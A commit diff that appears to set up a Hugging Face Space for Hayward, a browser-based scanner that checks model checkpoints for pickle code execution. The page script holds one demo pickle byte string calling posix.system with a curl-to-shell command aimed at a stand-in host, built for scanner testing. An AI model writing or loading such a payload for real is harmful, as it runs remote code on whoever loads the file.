hedgerow-dev commited on
Commit
6d5142f
·
verified ·
1 Parent(s): 58b9482

Hayward: scan a checkpoint for code execution, in the browser

Browse files
Files changed (3) hide show
  1. .gitignore +2 -0
  2. README.md +52 -3
  3. index.html +351 -17
.gitignore ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ .venv/
2
+ __pycache__/
README.md CHANGED
@@ -1,10 +1,59 @@
1
  ---
2
  title: Hayward
3
- emoji: 🔥
4
- colorFrom: blue
5
  colorTo: blue
6
  sdk: static
 
7
  pinned: false
 
 
 
 
 
 
 
 
8
  ---
9
 
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
  title: Hayward
3
+ emoji: 🌾
4
+ colorFrom: green
5
  colorTo: blue
6
  sdk: static
7
+ app_file: index.html
8
  pinned: false
9
+ license: mit
10
+ short_description: Check whether loading a model repo will run code
11
+ tags:
12
+ - security
13
+ - pickle
14
+ - model-security
15
+ - supply-chain
16
+ - safetensors
17
  ---
18
 
19
+ # Hayward
20
+
21
+ Paste a Hub repo id, or drop a checkpoint from your own machine. Hayward reads
22
+ the model files and tells you whether loading them will run code.
23
+
24
+ `torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
25
+ from the file they read. That is what pickle does, and the Hub is still full
26
+ of pickle.
27
+
28
+ The real thing runs offline, in your CI, with one dependency:
29
+
30
+ ```bash
31
+ pip install hayward
32
+ hayward scan ./models
33
+ ```
34
+
35
+ Source and documentation: https://github.com/hedgerow-dev/hayward
36
+
37
+ ## How this page works
38
+
39
+ There is no server. The page loads the `hayward` wheel from PyPI into
40
+ Pyodide and runs the identical scanner in WebAssembly, in your browser. A file
41
+ you drop here is never uploaded anywhere. A repo you name is fetched from the
42
+ Hub straight into the tab.
43
+
44
+ That is the same property the CLI has, which is the point: a scanner that
45
+ phones home is a scanner you cannot run on a file you are worried about.
46
+
47
+ ## What it does
48
+
49
+ 1. Lists the repo's files and keeps the ones Hayward can read.
50
+ 2. Fetches them one at a time, scans, then discards.
51
+ 3. Shows every finding, and every file it had to skip.
52
+
53
+ A clean result means Hayward read the files and recognised nothing dangerous
54
+ in them. It does not mean the model is safe.
55
+
56
+ ## Limits
57
+
58
+ A browser tab is not a build box: this stops at 25 files and 500 MB per file.
59
+ Anything it skips is listed as skipped rather than quietly dropped.
index.html CHANGED
@@ -1,19 +1,353 @@
1
  <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
  </html>
 
1
  <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="utf-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1">
6
+ <title>Hayward: does this checkpoint run code?</title>
7
+ <style>
8
+ :root {
9
+ --ink: #013D5A;
10
+ --sage: #708C69;
11
+ --amber: #F4A25B;
12
+ --bg: #fbfaf7;
13
+ --panel: #ffffff;
14
+ --line: #e4e0d8;
15
+ --muted: #5d6b73;
16
+ --crit: #a3231f;
17
+ }
18
+ @media (prefers-color-scheme: dark) {
19
+ :root {
20
+ --bg: #0d1418; --panel: #131e24; --line: #24343c;
21
+ --ink: #cfe4ee; --muted: #93a5ae; --crit: #ff8b83;
22
+ }
23
+ }
24
+ * { box-sizing: border-box; }
25
+ body {
26
+ margin: 0; padding: 2rem 1.25rem 4rem;
27
+ background: var(--bg); color: var(--ink);
28
+ font: 16px/1.6 ui-sans-serif, system-ui, -apple-system, "Segoe UI", sans-serif;
29
+ }
30
+ main { max-width: 54rem; margin: 0 auto; }
31
+ h1 { font-size: 1.9rem; margin: 0 0 .35rem; letter-spacing: -.02em; }
32
+ .lede { color: var(--muted); margin: 0 0 1.75rem; max-width: 40rem; }
33
+ code, .mono { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .9em; }
34
+ .panel {
35
+ background: var(--panel); border: 1px solid var(--line);
36
+ border-radius: 10px; padding: 1.1rem 1.2rem; margin-bottom: 1rem;
37
+ }
38
+ .row { display: flex; gap: .6rem; flex-wrap: wrap; }
39
+ input[type=text] {
40
+ flex: 1 1 18rem; padding: .6rem .75rem; font: inherit;
41
+ border: 1px solid var(--line); border-radius: 7px;
42
+ background: var(--bg); color: var(--ink);
43
+ }
44
+ button {
45
+ padding: .6rem 1rem; font: inherit; font-weight: 600; cursor: pointer;
46
+ border: 1px solid var(--ink); border-radius: 7px;
47
+ background: var(--ink); color: var(--bg);
48
+ }
49
+ button.ghost { background: transparent; color: var(--ink); font-weight: 400; }
50
+ button[disabled] { opacity: .45; cursor: not-allowed; }
51
+ #drop {
52
+ border: 1.5px dashed var(--line); border-radius: 10px;
53
+ padding: 1.6rem 1rem; text-align: center; color: var(--muted);
54
+ cursor: pointer; transition: border-color .15s, background .15s;
55
+ }
56
+ #drop.hot { border-color: var(--sage); background: rgba(112,140,105,.09); }
57
+ #status { color: var(--muted); font-size: .92rem; min-height: 1.6em; }
58
+ table { width: 100%; border-collapse: collapse; margin-top: .5rem; }
59
+ th, td { text-align: left; padding: .5rem .6rem; border-bottom: 1px solid var(--line); vertical-align: top; }
60
+ th { font-size: .74rem; letter-spacing: .09em; text-transform: uppercase; color: var(--muted); }
61
+ td.sev { font-weight: 700; font-size: .78rem; letter-spacing: .05em; white-space: nowrap; }
62
+ .critical, .high { color: var(--crit); }
63
+ .medium { color: var(--amber); }
64
+ .low, .info { color: var(--muted); }
65
+ .verdict { font-size: 1.15rem; font-weight: 650; margin: 0 0 .4rem; }
66
+ .verdict.bad { color: var(--crit); }
67
+ .verdict.ok { color: var(--sage); }
68
+ .note { color: var(--muted); font-size: .9rem; }
69
+ ul.skipped { color: var(--muted); font-size: .88rem; padding-left: 1.1rem; margin: .5rem 0 0; }
70
+ footer { color: var(--muted); font-size: .88rem; margin-top: 2rem; }
71
+ a { color: var(--sage); }
72
+ </style>
73
+ </head>
74
+ <body>
75
+ <main>
76
+ <h1>Hayward</h1>
77
+ <p class="lede">
78
+ Does this checkpoint run code when you load it?
79
+ <code>torch.load</code>, <code>joblib.load</code> and
80
+ <code>numpy.load(allow_pickle=True)</code> execute code from the file they
81
+ read. That is what pickle does, and the Hub is still full of it.
82
+ </p>
83
+
84
+ <div class="panel">
85
+ <div class="row">
86
+ <input id="repo" type="text" placeholder="org/name" spellcheck="false" autocomplete="off">
87
+ <button id="scanRepo" disabled>Scan repo</button>
88
+ </div>
89
+ <div class="row" style="margin-top:.65rem">
90
+ <button class="ghost" id="exClean" disabled>Example: a clean repo</button>
91
+ <button class="ghost" id="exBad" disabled>Example: a malicious checkpoint</button>
92
+ </div>
93
+ </div>
94
+
95
+ <div class="panel">
96
+ <div id="drop">
97
+ <strong>Drop a model file here</strong>, or click to choose one.<br>
98
+ It is read in your browser. Nothing is uploaded.
99
+ </div>
100
+ <input id="file" type="file" multiple hidden>
101
+ </div>
102
+
103
+ <p id="status">Loading the scanner…</p>
104
+ <div id="result"></div>
105
+
106
+ <footer>
107
+ Hayward runs offline as a CLI, which is how it is meant to be used:
108
+ <code>pip install hayward</code>.
109
+ <a href="https://github.com/hedgerow-dev/hayward">Source and documentation</a>.
110
+ This page runs the same scanner in WebAssembly, so your files stay on your
111
+ machine.
112
+ </footer>
113
+ </main>
114
+
115
+ <script src="https://cdn.jsdelivr.net/pyodide/v0.28.0/full/pyodide.js"></script>
116
+ <script>
117
+ const MAX_FILE_BYTES = 500_000_000; // matches the scanner's own read cap
118
+ const MAX_FILES = 25;
119
+ const CLEAN_EXAMPLE = "hf-internal-testing/tiny-random-BertModel";
120
+
121
+ const $ = (id) => document.getElementById(id);
122
+ const statusEl = $("status");
123
+ const resultEl = $("result");
124
+ let py = null;
125
+ let extensions = [];
126
+
127
+ const PY_SETUP = `
128
+ import json
129
+ from pathlib import Path
130
+
131
+ from hayward import ModelFileScanner
132
+ from hayward.findings import Severity
133
+
134
+ _scanner = ModelFileScanner()
135
+
136
+ ORDER = {
137
+ Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2,
138
+ Severity.LOW: 3, Severity.INFO: 4,
139
+ }
140
+
141
+ # The scanner owns the extension list, including the two it resolves by
142
+ # content sniff rather than by name. Read it rather than restating it.
143
+ EXTENSIONS = sorted({*_scanner._format_map, *_scanner._AMBIGUOUS_EXTENSIONS})
144
+
145
+ # A checkpoint that fetches a shell script and runs it on load. Built here so
146
+ # the page ships no payload-shaped file. It is never unpickled.
147
+ DEMO = b"\\x80\\x04cposix\\nsystem\\n\\x8c\\x1ccurl http://example.invalid|sh\\x85R."
148
+
149
+
150
+ def scan_path(path, display_name):
151
+ p = Path(path)
152
+ try:
153
+ findings = _scanner.scan_file(p)
154
+ finally:
155
+ p.unlink(missing_ok=True)
156
+ findings.sort(key=lambda f: ORDER[f.severity])
157
+ return json.dumps([
158
+ {
159
+ "severity": f.severity.value,
160
+ "rule": f.rule_id,
161
+ "file": display_name,
162
+ "message": f.message,
163
+ }
164
+ for f in findings
165
+ ])
166
+
167
+
168
+ def scan_demo():
169
+ p = Path("/scan/demo-checkpoint.pt")
170
+ p.parent.mkdir(parents=True, exist_ok=True)
171
+ p.write_bytes(DEMO)
172
+ return scan_path(str(p), "demo-checkpoint.pt")
173
+ `;
174
+
175
+ async function boot() {
176
+ py = await loadPyodide();
177
+ statusEl.textContent = "Installing hayward…";
178
+ // lzma is unvendored from Pyodide's stdlib, and the scanner imports it to
179
+ // read xz-compressed members.
180
+ await py.loadPackage(["micropip", "lzma"]);
181
+ await py.runPythonAsync(`
182
+ import micropip
183
+ await micropip.install("hayward")
184
+ `);
185
+ await py.runPythonAsync(PY_SETUP);
186
+ extensions = JSON.parse(py.runPython("json.dumps(EXTENSIONS)"));
187
+ py.FS.mkdirTree("/scan");
188
+ for (const id of ["scanRepo", "exClean", "exBad"]) $(id).disabled = false;
189
+ statusEl.textContent =
190
+ `Ready. ${extensions.length} file types, running locally in your browser.`;
191
+ }
192
+
193
+ function scannable(path) {
194
+ const dot = path.lastIndexOf(".");
195
+ return dot !== -1 && extensions.includes(path.slice(dot).toLowerCase());
196
+ }
197
+
198
+ async function scanBuffer(buffer, displayName) {
199
+ const name = displayName.split("/").pop();
200
+ const target = "/scan/" + name;
201
+ py.FS.writeFile(target, new Uint8Array(buffer));
202
+ return JSON.parse(py.runPython(
203
+ `scan_path(${JSON.stringify(target)}, ${JSON.stringify(displayName)})`
204
+ ));
205
+ }
206
+
207
+ async function scanRepo(repoId) {
208
+ repoId = repoId.trim().replace(/^\/+|\/+$/g, "");
209
+ if (!repoId || (repoId.match(/\//g) || []).length !== 1) {
210
+ return render("Enter a repo id in the form org/name", [], []);
211
+ }
212
+
213
+ statusEl.textContent = `Listing ${repoId}…`;
214
+ let tree;
215
+ try {
216
+ const res = await fetch(
217
+ `https://huggingface.co/api/models/${repoId}/tree/main?recursive=true`);
218
+ if (!res.ok) throw new Error(`the Hub returned ${res.status}`);
219
+ tree = await res.json();
220
+ } catch (err) {
221
+ return render(`Could not read ${repoId}: ${err.message}`, [], []);
222
+ }
223
+
224
+ const eligible = tree.filter((e) => e.type === "file" && scannable(e.path));
225
+ eligible.sort((a, b) => a.size - b.size);
226
+
227
+ const skipped = [];
228
+ const queue = [];
229
+ for (const entry of eligible) {
230
+ if (entry.size > MAX_FILE_BYTES) {
231
+ skipped.push(`${entry.path} (over the 500 MB per-file cap)`);
232
+ } else if (queue.length >= MAX_FILES) {
233
+ skipped.push(`${entry.path} (past the ${MAX_FILES} file cap)`);
234
+ } else {
235
+ queue.push(entry);
236
+ }
237
+ }
238
+
239
+ if (!queue.length && !skipped.length) {
240
+ return render(
241
+ `${repoId} holds no files Hayward can read. That is an empty result, not a clean one.`,
242
+ [], []);
243
+ }
244
+
245
+ const findings = [];
246
+ let read = 0;
247
+ for (const [i, entry] of queue.entries()) {
248
+ statusEl.textContent = `Reading ${entry.path} (${i + 1} of ${queue.length})…`;
249
+ try {
250
+ const res = await fetch(
251
+ `https://huggingface.co/${repoId}/resolve/main/${entry.path}`);
252
+ if (!res.ok) throw new Error(`HTTP ${res.status}`);
253
+ findings.push(...await scanBuffer(await res.arrayBuffer(), entry.path));
254
+ read += 1;
255
+ } catch (err) {
256
+ skipped.push(`${entry.path} (fetch failed: ${err.message})`);
257
+ }
258
+ }
259
+
260
+ statusEl.textContent = "Ready.";
261
+ render(verdict(repoId, read, findings), findings, skipped);
262
+ }
263
+
264
+ function verdict(subject, read, findings) {
265
+ const failing = findings.some(
266
+ (f) => f.severity === "critical" || f.severity === "high");
267
+ if (failing) return `Loading ${subject} can run code`;
268
+ if (findings.length) return `Nothing in ${subject} that would fail a build`;
269
+ return `Nothing recognised as dangerous in ${subject}` +
270
+ (read ? ` (${read} file${read === 1 ? "" : "s"} read)` : "");
271
+ }
272
+
273
+ function render(headline, findings, skipped) {
274
+ const bad = findings.some(
275
+ (f) => f.severity === "critical" || f.severity === "high");
276
+ const rows = findings.map((f) => `
277
+ <tr>
278
+ <td class="sev ${f.severity}">${f.severity.toUpperCase()}</td>
279
+ <td class="mono">${escape(f.rule)}</td>
280
+ <td class="mono">${escape(f.file)}</td>
281
+ <td>${escape(f.message)}</td>
282
+ </tr>`).join("");
283
+
284
+ resultEl.innerHTML = `
285
+ <div class="panel">
286
+ <p class="verdict ${bad ? "bad" : "ok"}">${escape(headline)}</p>
287
+ <p class="note">A clean result means Hayward read the files and
288
+ recognised nothing dangerous. It does not mean the model is safe.</p>
289
+ ${rows ? `<table>
290
+ <thead><tr><th>Severity</th><th>Rule</th><th>File</th><th>What it found</th></tr></thead>
291
+ <tbody>${rows}</tbody></table>` : ""}
292
+ ${skipped.length ? `<p class="note" style="margin-top:.9rem">
293
+ <strong>Not scanned (${skipped.length}):</strong></p>
294
+ <ul class="skipped">${skipped.map((s) => `<li>${escape(s)}</li>`).join("")}</ul>` : ""}
295
+ </div>`;
296
+ }
297
+
298
+ function escape(s) {
299
+ return String(s).replace(/[&<>"]/g,
300
+ (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;" }[c]));
301
+ }
302
+
303
+ $("scanRepo").addEventListener("click", () => scanRepo($("repo").value));
304
+ $("repo").addEventListener("keydown", (e) => {
305
+ if (e.key === "Enter") scanRepo($("repo").value);
306
+ });
307
+ $("exClean").addEventListener("click", () => {
308
+ $("repo").value = CLEAN_EXAMPLE;
309
+ scanRepo(CLEAN_EXAMPLE);
310
+ });
311
+ $("exBad").addEventListener("click", () => {
312
+ const findings = JSON.parse(py.runPython("scan_demo()"));
313
+ render("Loading demo-checkpoint.pt can run code", findings, []);
314
+ statusEl.textContent =
315
+ "That is a crafted sample this page built, not a real model and not anybody's repo.";
316
+ });
317
+
318
+ const drop = $("drop");
319
+ const fileInput = $("file");
320
+ drop.addEventListener("click", () => fileInput.click());
321
+ ["dragenter", "dragover"].forEach((ev) =>
322
+ drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.add("hot"); }));
323
+ ["dragleave", "drop"].forEach((ev) =>
324
+ drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.remove("hot"); }));
325
+ drop.addEventListener("drop", (e) => handleFiles(e.dataTransfer.files));
326
+ fileInput.addEventListener("change", () => handleFiles(fileInput.files));
327
+
328
+ async function handleFiles(fileList) {
329
+ if (!py) return;
330
+ const files = [...fileList].slice(0, MAX_FILES);
331
+ const findings = [];
332
+ const skipped = [];
333
+ let read = 0;
334
+ for (const file of files) {
335
+ if (file.size > MAX_FILE_BYTES) {
336
+ skipped.push(`${file.name} (over the 500 MB per-file cap)`);
337
+ continue;
338
+ }
339
+ statusEl.textContent = `Scanning ${file.name}…`;
340
+ findings.push(...await scanBuffer(await file.arrayBuffer(), file.name));
341
+ read += 1;
342
+ }
343
+ statusEl.textContent = "Ready.";
344
+ const subject = files.length === 1 ? files[0].name : `${read} files`;
345
+ render(verdict(subject, read, findings), findings, skipped);
346
+ }
347
+
348
+ boot().catch((err) => {
349
+ statusEl.textContent = "The scanner failed to load: " + err.message;
350
+ });
351
+ </script>
352
+ </body>
353
  </html>